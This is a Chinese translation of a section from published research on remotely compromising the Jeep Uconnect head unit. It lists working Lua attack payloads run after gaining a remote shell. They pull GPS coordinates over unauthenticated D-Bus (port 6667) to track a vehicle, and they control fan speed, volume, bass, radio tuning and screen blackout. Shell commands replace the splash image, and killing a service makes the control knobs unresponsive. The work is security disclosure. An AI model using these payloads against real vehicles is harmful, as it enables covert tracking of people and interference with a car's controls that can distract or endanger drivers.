Uconnect攻击载荷(attack payloads)
Uconnect攻击载荷(attack payloads)
至此,我们就可以在头单元上运行任意代码了,尤其是在Uconect系统中的OMAP芯片上。在这一部分,我们讲解了几种能影响到汽车内部以及无线电广播功能的LUA脚本,例如调高音量或阻止某个控制开关的响应(也就是音量)。通过这个脚本你就能知道在具备了远程shell和Uconnect系统权限后,我们可以在汽车上做哪些手脚。接下来,我们会说明如何通过远程访问D-Bus系统来实现平行感染并发送任意的CAN信息,从而影响汽车上除了头单元以外的其他系统。
GPS
头单元能够查询并获取车辆上的GPS坐标,不是通过Sierra Wireless调制解调器就是通过Wi-Fi。通过端口6667上未认证的D-Bus通讯也可以获取到这些值,这样造成的结果就是可以追踪任意车辆的位置。换句话说,我们下面的这个脚本就可以在头单元上运行,但是只能通过查询暴露的D-bus服务来获取坐标值。
service = require("service")
gps = "com.harman.service.NDR"
gpsMethod = "JSON_GetProperties"
gpsParams = {
inprop = {
"SEN_GPSInfo"
}
}
response = service.invoke(gps, gpsMethod, gpsParams) print(response.outprop.SEN_GPSInfo.latitude,
response.outprop.SEN_GPSInfo.longitude)
例如,如果你在头单元上执行‘lua getGPS.lua’,那么就会返回如下的结果:
# lua getGPS.lua
40910512 -73184840
然后,你可以稍加修改,在谷歌地图中输入40.910512, -73.184840,这样就能确定其位置了。在这个例子中,是长岛的某个位置。
HVAC
头单元可以控制汽车的供暖和空调。下面的代码会把风扇设置到一个任意速度。
require "service"
params = {}
control = {}
params.zone = "front"
control.fan = arg[1]
params.controls = control
x=service.invoke("com.harman.service.HVAC", "setControlProperties", params)
广播音量
Uconnect系统的一个主要功能就是控制广播。攻击者可以很轻易地把广播音量设置成任意值。例如,如果攻击者知道现在播放的是爱司基地(Ace of Base)的歌,他们可以把音量调整到一个合适的级别(也就是最合适的音量)。
require "service"
params = {}
params.volume = tonumber(arg[1])
x=service.invoke("com.harman.service.AudioSettings", "setVolume", params)
低音
有时候,比如在听2 Live Crew的时候,调高低音是唯一的选择。喜欢重低音的攻击者可以使用下面的脚本来调整相应的级别。
require "service"
params = {}
params.bass = tonumber(arg[1])
x=service.invoke("com.harman.service.AudioSettings", "setEqualizer", params)
电台(FM)
在路途中,最重要的任务之一就是选择一个合适的FM电台。通过编程LUA脚本也可以更换电台。
require "service"
Tuner = "com.harman.service.Tuner"
service.invoke(Tuner, "setFrequency", {frequency = 94700})
显示屏
这里有很多很多种办法都可以修改Uconnect的显示状态,比如完全关闭显示屏或显示后置摄像头。下面的几个代码示例可以更改屏幕显示:
require "service"
x=service.invoke("com.harman.service.LayerManager", "viewBlackScreen", {})
x=service.invoke("com.harman.service.LayerManager", "stopBlackScreen", {})
x=service.invoke("com.harman.service.LayerManager", "viewCameraInput", {})
x=service.invoke("com.harman.service.LayerManager", "stopViewInput", {})
x=service.invoke("com.harman.service.LayerManager", "showSplash", {timeout = 2})
显示图片
你还可以更改头单元上的显示屏来显示你选中的图片。这张图片的大小和格式(png)必须是正确的。然后,这张照片必须放到文件系统上的某个位置。最后,你就能告诉头单元要显示这张照片。
mount -uw /fs/mmc0/
cp pic.png /fs/mmc0/app/share/splash/Jeep.png pidin arg | grep splash
kill <PID>
splash -c /etc/splash.conf &
一旦这张图片就位了,你就可以调用上述的‘showSplash’ 方法。
图-两个年轻人
旋钮
一个更有趣的发现之一就是在杀死某项服务后,能够使电台的旋钮控制失效,比如音量和调音器控制。通过杀死主要的D-Bus服务,你就可以使所有的电台控制失去响应。如果再执行几项其他的操作,这种攻击会变得尤其烦人,比如把低音和音量调到最高。
kill this process: lua -s -b -d /usr/bin service.lua